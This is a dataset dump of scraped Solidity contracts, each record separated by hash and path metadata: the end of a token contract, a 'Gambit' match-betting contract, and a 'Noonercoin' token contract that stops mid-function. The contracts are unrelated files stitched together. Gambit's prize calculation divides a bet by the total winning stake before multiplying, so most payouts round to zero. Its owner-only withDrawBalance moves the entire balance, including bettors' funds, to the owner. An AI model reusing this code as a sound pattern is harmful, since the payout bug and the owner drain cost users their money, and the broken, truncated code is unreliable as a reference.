_totalSupply = safeAdd(_totalSupply, mintedAmount);
Issuance(mintedAmount);
_addIndex(target);
Transfer(this, target, mintedAmount);
}
function _addIndex(address _address) internal {
if (!addressAddedToIndex[_address]) {
addressAddedToIndex[_address] = true;
addressByIndex.push(_address);
}
}
function _addToAging(address from, address target, uint256 agingTime, uint256 amount) internal {
agingBalanceOf[target][0] = safeAdd(agingBalanceOf[target][0], amount);
agingBalanceOf[target][agingTime] = safeAdd(agingBalanceOf[target][agingTime], amount);
AgingTransfer(from, target, amount, agingTime);
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function transferFrom(address _from, address _to, uint256 _value) transfersAllowed returns (bool success) {
_checkMyAging(_from);
if (currentDividendIndex < dividends.length && now >= dividends[currentDividendIndex].time) {
_addDividendsForAddress(_from);
_addDividendsForAddress(_to);
}
// Check if the sender has enough
require(accountBalance(_from) >= _value);
// Check allowed
require(_value <= allowed[_from][msg.sender]);
// Subtract from the sender
balances[_from] = safeSub(balances[_from], _value);
// Add the same to the recipient
balances[_to] = safeAdd(balances[_to], _value);
allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value);
if (agingTimesForPools[_from] > 0 && agingTimesForPools[_from] > now) {
_addToAging(_from, _to, agingTimesForPools[_from], _value);
}
_addIndex(_to);
Transfer(_from, _to, _value);
return true;
}
function() {
revert();
// Prevents accidental sending of ether
}
function _checkMyAging(address sender) internal {
if (agingBalanceOf[sender][0] == 0) return;
for (uint256 k = 0; k < agingTimes.length; k++) {
if (agingTimes[k] < now) {
agingBalanceOf[sender][0] = safeSub(agingBalanceOf[sender][0], agingBalanceOf[sender][agingTimes[k]]);
agingBalanceOf[sender][agingTimes[k]] = 0;
}
}
}
function addAgingTimesForPool(address poolAddress, uint256 agingTime) onlyOwner {
agingTimesForPools[poolAddress] = agingTime;
}
function countAddresses() constant returns (uint256 length) {
return addressByIndex.length;
}
function accountBalance(address _address) constant returns (uint256 balance) {
return safeSub(balances[_address], agingBalanceOf[_address][0]);
}
function disableTransfers(bool _disable) public onlyOwner {
transfersEnabled = !_disable;
}
function issue(address _to, uint256 _amount) public onlyOwner validAddress(_to) notThis(_to) {
_totalSupply = safeAdd(_totalSupply, _amount);
balances[_to] = safeAdd(balances[_to], _amount);
_addIndex(_to);
Issuance(_amount);
Transfer(this, _to, _amount);
}
function burn(uint256 _value) returns (bool success) {
destroy(msg.sender, _value);
Burn(msg.sender, _value);
return true;
}
function destroy(address _from, uint256 _amount) public {
_checkMyAging(_from);
// validate input
require((msg.sender == _from && allowManuallyBurnTokens) || msg.sender == owner);
require(accountBalance(_from) >= _amount);
balances[_from] = safeSub(balances[_from], _amount);
_totalSupply = safeSub(_totalSupply, _amount);
Transfer(_from, this, _amount);
Destruction(_amount);
}
function disableManuallyBurnTokens(bool _disable) public onlyOwner {
allowManuallyBurnTokens = !_disable;
}
}
| 228,605 | 11,272 |
95cb5f80fdf4e7b4d13d55956f5cf42ba4cee44119dd002ddba7fc008bbfb13c
| 24,571 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/6d/6da5609Df7335be1Ad16A6de865FcC6b835F0162_Gambit.sol
| 6,541 | 23,311 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
contract Gambit {
event BetEvent(address addy,
uint256 amount,
string matchId,
string homeTeam,
uint256 homeTeamScore,
string awayTeam,
uint256 awayTeamScore);
event ClaimBetEvent(address addy,
string matchId,
uint betAmount,
uint prizeMatchWinner,
uint prizePerfectScoreWinner,
uint totalPrize);
event ResultEvent(string matchId,
uint matchWinners,
uint perfectScoreWinners,
uint matchWinnersAvax,
uint perfectScoreWinnersAvax);
event RefundBetEvent(address addy,
string matchId,
uint refund);
event LogEvent(address addy,
string variable,
uint valueint,
string valueS,
bool valueB);
struct Bet {
string betId;
address addy;
uint256 amount;
string matchId;
string homeTeam;
uint256 homeTeamScore;
bool homeTeamWinner;
string awayTeam;
uint256 awayTeamScore;
bool awayTeamWinner;
bool isTie;
bool isMatchWinner;
bool isPerfectScoreWinner;
uint256 gambitPoints;
uint prizeMatchWinner;
uint prizePerfectScoreWinner;
bool isClaimed;
}
struct BetValidation {
string betId;
address addy;
string matchId;
uint256 amount;
bool isMatchWinner;
bool isPerfectScoreWinner;
uint prizeMatchWinner;
uint prizePerfectScoreWinner;
bool isClaimed;
}
struct Match {
string id;
uint matchDate;
uint closingTime;
string homeTeam;
uint homeTeamScore;
bool homeTeamWinner;
string awayTeam;
uint awayTeamScore;
bool awayTeamWinner;
bool isTie;
bool isClaimable;
bool isCancelled;
}
struct MatchBet {
mapping(address => Bet) betsByAddress;
mapping (address => Bet) winners;
address[] winnersAddress;
Bet[] bets;
uint matchWinners;
uint perfectScoreWinners;
uint256 winnersPot;
uint256 perfectScorePot;
uint256 betsQ;
uint matchWinnersAvax;
uint perfectScoreWinnersAvax;
uint avaxPot;
}
address payable private owner;
mapping (string => MatchBet) public matchesBets;
mapping (string => Match) public matches;
mapping (address => BetValidation) public betsAddress;
struct global {
uint256 nextDayPot;
uint256 finalPot;
uint256 treasuryPot;
uint256 foundersClubPot;
uint256 minBet;
uint256 initialPot;
}
global public pots;
uint256 winnerCut = 60;
uint256 perfectScoreCut = 10;
uint256 nextDayCut = 10;
uint256 finalCut = 5;
uint256 treasuryCut = 10;
uint256 foundersClubCut = 5;
constructor() {
owner = payable(msg.sender);
pots.nextDayPot = 0;
pots.finalPot = 0;
pots.treasuryPot = 0;
pots.foundersClubPot = 0;
pots.minBet = 0.5 ether;
pots.initialPot = 0;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function placeBet(string memory _betId, string memory _matchId, string memory _homeTeam, uint _homeTeamScore, string memory _awayTeam, uint _awayTeamScore) external payable {
require(block.timestamp < matches[_matchId].closingTime && !matches[_matchId].isCancelled, "bet cannot be made now");
require(_homeTeamScore >=0 && _awayTeamScore >= 0, "impossible score");
require(msg.value >= pots.minBet, "bet amount too low");
require(matchesBets[_matchId].betsByAddress[msg.sender].amount == 0, "bet already made");
require (msg.sender != owner, "Owner can't make a bet");
uint betAmount = msg.value;
emit LogEvent(msg.sender, "betAmount", betAmount, "NA", false);
matchesBets[_matchId].betsByAddress[msg.sender].betId = _betId;
matchesBets[_matchId].betsByAddress[msg.sender].addy = msg.sender;
matchesBets[_matchId].betsByAddress[msg.sender].amount = betAmount;
matchesBets[_matchId].betsByAddress[msg.sender].matchId = _matchId;
matchesBets[_matchId].betsByAddress[msg.sender].homeTeam = _homeTeam;
matchesBets[_matchId].betsByAddress[msg.sender].homeTeamScore = _homeTeamScore;
matchesBets[_matchId].betsByAddress[msg.sender].homeTeamWinner = _homeTeamScore < _awayTeamScore ? false : _homeTeamScore == _awayTeamScore ? false : true;
matchesBets[_matchId].betsByAddress[msg.sender].awayTeam = _awayTeam;
matchesBets[_matchId].betsByAddress[msg.sender].awayTeamScore = _awayTeamScore;
matchesBets[_matchId].betsByAddress[msg.sender].awayTeamWinner = _awayTeamScore < _homeTeamScore ? false : _awayTeamScore == _homeTeamScore ? false : true;
matchesBets[_matchId].betsByAddress[msg.sender].isTie = _homeTeamScore == _awayTeamScore ? true : false;
matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner = false;
matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[msg.sender].gambitPoints = 1;
//matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner = 0;
//matchesBets[_matchId].betsByAddress[msg.sender].prizePerfectScoreWinner = 0;
matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = false;
matchesBets[_matchId].bets.push(matchesBets[_matchId].betsByAddress[msg.sender]);
betsAddress[msg.sender].betId = _betId;
betsAddress[msg.sender].addy = msg.sender;
betsAddress[msg.sender].matchId = _matchId;
betsAddress[msg.sender].amount = betAmount;
betsAddress[msg.sender].isMatchWinner = false;
betsAddress[msg.sender].isPerfectScoreWinner = false;
//betsAddress[msg.sender].prizeMatchWinner = 0;
//betsAddress[msg.sender].prizePerfectScoreWinner = 0;
betsAddress[msg.sender].isClaimed = false;
matchesBets[_matchId].avaxPot += betAmount;
matchesBets[_matchId].winnersPot += betAmount*winnerCut/100;
matchesBets[_matchId].perfectScorePot += betAmount*perfectScoreCut/100;
matchesBets[_matchId].betsQ++;
pots.nextDayPot += betAmount*nextDayCut/100;
pots.finalPot += betAmount*finalCut/100;
pots.treasuryPot += betAmount*treasuryCut/100;
pots.foundersClubPot += betAmount*foundersClubCut/100;
emit BetEvent(msg.sender, betAmount, _matchId, _homeTeam, _homeTeamScore, _awayTeam, _awayTeamScore);
}
function claimWin(string memory _matchId) external {
//require(!matches[_matchId].isClosed, "Sorry, The match is closed for withdraw");
require(matches[_matchId].isClaimable, "The match is not claimable");
require(matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner, "You are not a winner");
require(!matchesBets[_matchId].betsByAddress[msg.sender].isClaimed, "Your funds has been already withdrawn");
emit LogEvent(msg.sender, "isMatchWinner", 0, "NA", matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner);
emit LogEvent(msg.sender, "isPerfectScoreW", 0, "NA", matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner);
if (matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner && matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner){
emit LogEvent(msg.sender, "ingreso a perfectScore", 0, "NA", false);
uint _betAmount = matchesBets[_matchId].betsByAddress[msg.sender].amount;
emit LogEvent(msg.sender, "betAmountPS", _betAmount, "NA", false);
uint _matchWinnerAvax = matchesBets[_matchId].matchWinnersAvax;
emit LogEvent(msg.sender, "_matchWinnerAvax", _matchWinnerAvax, "NA", false);
uint _winnersPot = matchesBets[_matchId].winnersPot;
emit LogEvent(msg.sender, "_winnersPot", _winnersPot, "NA", false);
uint _prizeMatchWinner = ((_betAmount/ _matchWinnerAvax) * _winnersPot);
emit LogEvent(msg.sender, "prizeMatchWinnerCalc", ((_betAmount/ _matchWinnerAvax) * _winnersPot), "NA", false);
emit LogEvent(msg.sender, "winnersAvax", matchesBets[_matchId].matchWinnersAvax, "NA", false);
emit LogEvent(msg.sender, "winnersPot", matchesBets[_matchId].winnersPot, "NA", false);
emit LogEvent(msg.sender, "prizeMatchWinner", _prizeMatchWinner, "NA", false);
uint _perfectScoreWinnersAvax = matchesBets[_matchId].perfectScoreWinnersAvax;
emit LogEvent(msg.sender, "_perfectScoreWinnersAvax", _perfectScoreWinnersAvax, "NA", false);
uint _perfectScorePot = matchesBets[_matchId].perfectScorePot;
emit LogEvent(msg.sender, "_perfectScorePot", _perfectScorePot, "NA", false);
uint _perfectScoreWinnerPrize = (_betAmount/_perfectScoreWinnersAvax*_perfectScorePot);
emit LogEvent(msg.sender, "_perfectScoreWinnerPrizeCalc", (_betAmount/_perfectScoreWinnersAvax*_perfectScorePot), "NA", false);
emit LogEvent(msg.sender, "perfectScoreWinnersAvax", matchesBets[_matchId].perfectScoreWinnersAvax, "NA", false);
emit LogEvent(msg.sender, "perfectScorePot", matchesBets[_matchId].perfectScorePot, "NA", false);
emit LogEvent(msg.sender, "_perfectScoreWinnerPrize", _perfectScoreWinnerPrize, "NA", false);
uint _totalPrize = _prizeMatchWinner + _perfectScoreWinnerPrize;
emit LogEvent(msg.sender, "_totalPrize", _totalPrize, "NA", false);
matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner += _prizeMatchWinner;
matchesBets[_matchId].betsByAddress[msg.sender].prizePerfectScoreWinner += _perfectScoreWinnerPrize;
emit LogEvent(msg.sender, "prizeMatchWinnerMap1", matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner, "NA", false);
emit LogEvent(msg.sender, "prizePSWinnerMap1", matchesBets[_matchId].betsByAddress[msg.sender].prizePerfectScoreWinner, "NA", false);
matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true;
//emit ResultBetEvent(msg.sender, _matchId, _prizeMatchWinner, _perfectScoreWinnerPrize, _betAmount);
matchesBets[_matchId].winnersPot -= _prizeMatchWinner;
matchesBets[_matchId].perfectScorePot -= _perfectScoreWinnerPrize;
payable(msg.sender).transfer(_totalPrize);
emit ClaimBetEvent(msg.sender, _matchId, _betAmount, _prizeMatchWinner, _perfectScoreWinnerPrize, _totalPrize);
} else if (matchesBets[_matchId].betsByAddress[msg.sender].isMatchWinner && !matchesBets[_matchId].betsByAddress[msg.sender].isPerfectScoreWinner){
emit LogEvent(msg.sender, "ingreso a matchWinner", 0, "NA", false);
uint _betAmount = matchesBets[_matchId].betsByAddress[msg.sender].amount;
emit LogEvent(msg.sender, "betAmountMW", _betAmount, "NA", false);
uint _prizeMatchWinner = ((_betAmount/matchesBets[_matchId].matchWinnersAvax)*matchesBets[_matchId].winnersPot);
emit LogEvent(msg.sender, "winnersAvaxPS", matchesBets[_matchId].matchWinnersAvax, "NA", false);
emit LogEvent(msg.sender, "winnersPotPS", matchesBets[_matchId].winnersPot, "NA", false);
emit LogEvent(msg.sender, "prizeMatchWinnerPS", _prizeMatchWinner, "NA", false);
matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner += _prizeMatchWinner;
matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true;
emit LogEvent(msg.sender, "prizeMatchWinnerMap", matchesBets[_matchId].betsByAddress[msg.sender].prizeMatchWinner, "NA", false);
matchesBets[_matchId].winnersPot -= _prizeMatchWinner;
payable(msg.sender).transfer(_prizeMatchWinner);
emit ClaimBetEvent(msg.sender, _matchId, _betAmount, _prizeMatchWinner, 0, _prizeMatchWinner);
}
//uint prizeMatchWinner = matchesBets[_matchId].winners[msg.sender].prizeMatchWinner;
//uint prizePerfectScoreWinner = matchesBets[_matchId].winners[msg.sender].prizePerfectScoreWinner;
//uint totalPrize = prizeMatchWinner + prizePerfectScoreWinner;
//matchesBets[_matchId].betsByAddress[msg.sender].isClaimed = true;
//betsAddress[msg.sender].matchId = _matchId;
//betsAddress[msg.sender].isClaimed = true;
//matchesBets[_matchId].winnersPot -= prizeMatchWinner;
//matchesBets[_matchId].perfectScorePot -= prizePerfectScoreWinner;
//payable(msg.sender).transfer(totalPrize);
//emit ClaimBetEvent(msg.sender, _matchId, prizeMatchWinner, prizePerfectScoreWinner, totalPrize);
}
function withDrawFunds(string memory _matchId) external {
require(matches[_matchId].isCancelled, "The match is not cancelled, you can't withdraw funds");
//require(!matches[_matchId].isClosed, "Sorry, The match is closed for withdraw");
require(matches[_matchId].isClaimable, "The match is not claimable");
uint refund = matchesBets[_matchId].betsByAddress[msg.sender].amount;
matchesBets[_matchId].betsByAddress[msg.sender].amount = 0;
matchesBets[_matchId].winnersPot -= refund*winnerCut/100;
matchesBets[_matchId].perfectScorePot -= refund*perfectScoreCut/100;
matchesBets[_matchId].betsQ--;
pots.nextDayPot -= refund*nextDayCut/100;
pots.finalPot -= refund*finalCut/100;
pots.treasuryPot -= refund*treasuryCut/100;
pots.foundersClubPot -= refund*foundersClubCut/100;
payable(msg.sender).transfer(refund);
emit RefundBetEvent(msg.sender, _matchId, refund);
}
function setResult(string memory _matchId, uint _homeTeamScore, uint _awayTeamScore) external onlyOwner {
require(!matches[_matchId].isClaimable, "The result is already seated");
matches[_matchId].homeTeamScore = _homeTeamScore;
matches[_matchId].awayTeamScore = _awayTeamScore;
bool _hTeamWinner = _homeTeamScore < _awayTeamScore ? false : _homeTeamScore == _awayTeamScore ? false : true;
matches[_matchId].homeTeamWinner = _hTeamWinner;
bool _aTeamWinner = _awayTeamScore < _homeTeamScore ? false : _awayTeamScore == _homeTeamScore ? false : true;
matches[_matchId].awayTeamWinner = _aTeamWinner;
bool _tie = _homeTeamScore == _awayTeamScore ? true : false;
matches[_matchId].isTie = _tie;
matchesBets[_matchId].matchWinners = 0;
matchesBets[_matchId].perfectScoreWinners = 0;
matchesBets[_matchId].matchWinnersAvax = 0;
matchesBets[_matchId].perfectScoreWinnersAvax = 0;
for (uint i=0; i < matchesBets[_matchId].bets.length; i++){
if ((matchesBets[_matchId].bets[i].homeTeamWinner == _hTeamWinner && matchesBets[_matchId].bets[i].awayTeamWinner == _aTeamWinner) || (matchesBets[_matchId].bets[i].isTie == _tie)){
if (matchesBets[_matchId].bets[i].homeTeamScore == _homeTeamScore && matchesBets[_matchId].bets[i].awayTeamScore == _awayTeamScore){
//matchesBets[_matchId].bets[i].isMatchWinner = true;
//matchesBets[_matchId].bets[i].isPerfectScoreWinner = true;
//matchesBets[_matchId].bets[i].gambitPoints = 3;
betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId;
betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].gambitPoints = 3;
//matchesBets[_matchId].winnersAddress.push(matchesBets[_matchId].bets[i].addy);
matchesBets[_matchId].matchWinners++;
matchesBets[_matchId].perfectScoreWinners++;
matchesBets[_matchId].matchWinnersAvax += matchesBets[_matchId].bets[i].amount;
matchesBets[_matchId].perfectScoreWinnersAvax += matchesBets[_matchId].bets[i].amount;
} else {
//matchesBets[_matchId].bets[i].isMatchWinner = true;
//matchesBets[_matchId].bets[i].isPerfectScoreWinner = false;
//matchesBets[_matchId].bets[i].gambitPoints = 2;
betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId;
betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = true;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].gambitPoints = 2;
//matchesBets[_matchId].winnersAddress.push(matchesBets[_matchId].bets[i].addy);
matchesBets[_matchId].matchWinners++;
matchesBets[_matchId].matchWinnersAvax += matchesBets[_matchId].bets[i].amount;
}
} else {
//matchesBets[_matchId].bets[i].isMatchWinner = false;
//matchesBets[_matchId].bets[i].isPerfectScoreWinner = false;
//matchesBets[_matchId].bets[i].prizeMatchWinner = 0;
//matchesBets[_matchId].bets[i].prizePerfectScoreWinner = 0;
betsAddress[matchesBets[_matchId].bets[i].addy].matchId = _matchId;
betsAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = false;
betsAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isMatchWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isPerfectScoreWinner = false;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].prizeMatchWinner = 0;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].prizePerfectScoreWinner = 0;
matchesBets[_matchId].betsByAddress[matchesBets[_matchId].bets[i].addy].isClaimed = true;
betsAddress[matchesBets[_matchId].bets[i].addy].prizeMatchWinner = 0;
betsAddress[matchesBets[_matchId].bets[i].addy].prizePerfectScoreWinner = 0;
betsAddress[matchesBets[_matchId].bets[i].addy].isClaimed = true;
}
}
matches[_matchId].isClaimable = true;
emit ResultEvent(_matchId,matchesBets[_matchId].matchWinners, matchesBets[_matchId].perfectScoreWinners,matchesBets[_matchId].matchWinnersAvax, matchesBets[_matchId].perfectScoreWinnersAvax);
}
function cancelMatch (string memory _matchId) external onlyOwner {
require(msg.sender == owner, "Only Owner function");
matches[_matchId].isCancelled = true;
}
function closeMatch (string memory _matchId) external onlyOwner {
require(msg.sender == owner, "Only Owner function");
//matches[_matchId].isClosed = true;
matches[_matchId].isClaimable = false;
}
function createMatches (Match[] memory _matches) external onlyOwner {
require(_matches.length > 0, "Array of matches is Empty");
for (uint256 i = 0; i < _matches.length; i++) {
matches[_matches[i].id].id = _matches[i].id;
//matches[_matches[i].id].matchNumber = _matches[i].matchNumber;
matches[_matches[i].id].matchDate = _matches[i].matchDate;
matches[_matches[i].id].closingTime = _matches[i].closingTime;
matches[_matches[i].id].homeTeam = _matches[i].homeTeam;
matches[_matches[i].id].homeTeamScore = _matches[i].homeTeamScore;
matches[_matches[i].id].homeTeamWinner = _matches[i].homeTeamWinner;
matches[_matches[i].id].awayTeam = _matches[i].awayTeam;
matches[_matches[i].id].awayTeamScore = _matches[i].awayTeamScore;
matches[_matches[i].id].awayTeamWinner = _matches[i].awayTeamWinner;
matches[_matches[i].id].isTie = _matches[i].isTie;
//matches[_matches[i].id].isClosed = _matches[i].isClosed;
matches[_matches[i].id].isClaimable = _matches[i].isClaimable;
matches[_matches[i].id].isCancelled = _matches[i].isCancelled;
}
}
function fundInitialPot() external payable onlyOwner {
require(msg.sender == owner, "Only Owner function");
pots.initialPot += msg.value;
}
function fundInitialPotWithNextDayPot() external onlyOwner {
require(msg.sender == owner, "Only Owner function");
pots.initialPot += pots.nextDayPot;
}
function distributeInitialPot(string[] memory _matchesIds) external onlyOwner {
require(msg.sender == owner, "Only Owner function");
uint totalAvax;
for (uint i=0; i < _matchesIds.length; i++){
totalAvax += matchesBets[_matchesIds[i]].avaxPot;
}
for (uint i=0; i < _matchesIds.length; i++){
uint distribution = matchesBets[_matchesIds[i]].avaxPot/totalAvax;
uint initialPotForMatch = pots.initialPot*distribution;
pots.initialPot -= initialPotForMatch;
matchesBets[_matchesIds[i]].winnersPot += initialPotForMatch*winnerCut/100;
matchesBets[_matchesIds[i]].perfectScorePot += initialPotForMatch*perfectScoreCut/100;
pots.nextDayPot += initialPotForMatch*nextDayCut/100;
pots.finalPot += initialPotForMatch*finalCut/100;
pots.treasuryPot += initialPotForMatch*treasuryCut/100;
pots.foundersClubPot += initialPotForMatch*foundersClubCut/100;
}
}
function setMinBet(uint256 _minBet) external onlyOwner {
require(msg.sender == owner, "Only Owner function");
require(_minBet >= 1 ether, "this would be a very small bet amount");
pots.minBet = _minBet;
}
function withDrawBalance() public payable onlyOwner {
require(msg.sender == owner, "Only Owner function");
(bool success,) = payable(msg.sender).call{
value: address(this).balance
}("");
require(success);
}
function withDrawPots() public payable onlyOwner {
require(msg.sender == owner, "Only Owner function");
uint treasuryPotWD = pots.treasuryPot;
uint foundersClubPotWD = pots.foundersClubPot;
uint tandfpot = treasuryPotWD + foundersClubPotWD;
pots.treasuryPot -= treasuryPotWD;
pots.foundersClubPot -= foundersClubPotWD;
payable(msg.sender).transfer(tandfpot);
}
}
| 105,055 | 11,273 |
6c872d021553cfb389a6ab1c1cab62452e7787c3d5225fdafcd56cc9fc2b4011
| 24,334 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2e/2ed9D2b54d761A64a8662F7BA9C9eE1E4d1fF3B0_Noonercoin.sol
| 6,147 | 23,460 |
pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
}
}
contract Noonercoin is ERC20{
using SafeMath for uint256;
uint256 startTime;
uint256 mintingRateNoonerCoin;
uint256 mintingRateNoonerWei;
uint256 lastMintingTime;
address adminAddress;
bool isNewCycleStart = false;
uint8[] __randomVariable = [150, 175, 200, 225, 250];
uint8[] __remainingRandomVariable = [150, 175, 200, 225, 250];
uint8[] tempRemainingRandomVariable;
mapping (uint256 => uint256) occurenceOfRandomNumber;
uint256 weekStartTime = now;
mapping (address => uint256) noonercoin;
mapping (address => uint256) noonerwei;
uint256 public totalWeiBurned = 0;
uint256 public totalCycleLeft = 19;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint256 private _decimal;
uint256 private _frequency;
uint256 private _cycleTime = 86400; //given one day sec
uint256 private _fundersAmount;
uint256 _randomValue;
uint256 randomNumber;
int private count = 0;
uint256 previousCyclesTotalTokens = 0;
uint256 previousCyclesTotalWei = 0;
uint256 indexs = 1;
uint256[] randomVariableArray;
uint256[] previousCyclesBalance;
uint256[] previousCyclesWeiBalance;
uint256 public weiAmountAdded = 0;
uint256 public weiAmountAddedAtBurn = 0;
uint256 signmaValueWei = 0;
uint256 currentMintingRateTotalTokens = 0;
uint256 totalMintedTokens = 0;
uint256 weiToBurned = 0;
uint256 totalWeiInAdminAcc = 0;
uint256[] previousSigmaValues;
uint256[] previousBurnValues;
bool stopTheMinting = false;
constructor(uint256 totalSupply_, string memory tokenName_, string memory tokenSymbol_,uint256 decimal_, uint256 mintingRateNoonerCoin_, uint256 frequency_, uint256 fundersAmount_) public ERC20("XDC","XDC"){
_totalSupply = totalSupply_;
_name = tokenName_;
_symbol = tokenSymbol_;
_decimal = decimal_;
mintingRateNoonerCoin = mintingRateNoonerCoin_;
_frequency = frequency_;
adminAddress = msg.sender;
_fundersAmount = fundersAmount_;
mintingRateNoonerWei = 0;
startTime = now;
noonercoin[adminAddress] = _fundersAmount;
}
function incrementCounter() public {
count += 1;
}
function _transfer(address recipient, uint256 amount) public {
address sender = msg.sender;
uint256 senderBalance = noonercoin[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
noonercoin[sender] = senderBalance - amount;
noonercoin[recipient] += amount;
}
function balanceOf(address account) public view returns (uint256) {
return noonercoin[account];
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint256) {
return _decimal;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function getStartTime() public view returns(uint256){
return startTime;
}
function mintToken(address add, uint256 currentTime) public returns (bool) { //admin only
require(msg.sender == adminAddress, "Only owner can do this");
//burn the tokens before minting
if(isNewCycleStart) {
uint256 randomValue = _randomValue;
if(randomValue == 150){
addingValuesToArrays();
}
else {
if(randomValue == 175 && totalCycleLeft == 18) {
addingValuesToArrays();
}
if((randomVariableArray[0] == 150 && randomValue == 175 && totalCycleLeft == 17) || (randomVariableArray[0] == 150 && randomValue == 200 && totalCycleLeft == 17) || (randomVariableArray[0] == 150 && randomValue == 225 && totalCycleLeft == 17)) {
addingValuesToArrays();
}
if(randomVariableArray[0] == 175 && randomValue == 175) {
addingValuesToArrays();
}
else {
burnToken();
isNewCycleStart = false;
}
}
}
if(stopTheMinting) {
return false;
}
else {
uint256 weiAfterMint = noonerwei[add] + mintingRateNoonerWei;
uint256 noonerCoinExtractedFromWei = 0;
//logic to add wei in noonercoin, if wei value is greater than or equal to 10**18
if(weiAfterMint >= 10**18){
weiAfterMint = weiAfterMint - 10**18;
noonerCoinExtractedFromWei = 1;
}
//condition to call a popRandomVariable
uint256 nowTime = now;
uint256 totalOccurences = getTotalPresentOcuurences();
if(totalOccurences != 120) {
if(nowTime-weekStartTime >= 720){
popRandomVariable();
weekStartTime=now;
}
}
//adding the minting tokens into the admin account
noonercoin[add] = noonercoin[add] + mintingRateNoonerCoin + noonerCoinExtractedFromWei;
noonerwei[add] = weiAfterMint;
//lastMintingTime = block.timestamp;//currentTime;
lastMintingTime = currentTime;
//2nd check for popRandomVaribale
uint256 totalPicks = occurenceOfRandomNumber[__randomVariable[0]] + occurenceOfRandomNumber[__randomVariable[1]] + occurenceOfRandomNumber[__randomVariable[2]] + occurenceOfRandomNumber[__randomVariable[3]] + occurenceOfRandomNumber[__randomVariable[4]];
uint256 diff = 0;
uint256 estimatePicks = 0;
uint256 picks = 0;
if(totalPicks != 120) {
diff = lastMintingTime - startTime;
if(diff > _frequency) {
estimatePicks = (diff-_frequency)/720;
if(totalPicks >= estimatePicks){
picks = 0;
}
else {
picks = estimatePicks - totalPicks;
for(uint256 i = 0; i < picks; i++){
popRandomVariable();
}
}
}
}
//changing the mintingrate with below condition
uint256 timeDiff = lastMintingTime - startTime;
if(timeDiff >= _cycleTime){
uint256 estimatedTokenWei = 720 * mintingRateNoonerWei;
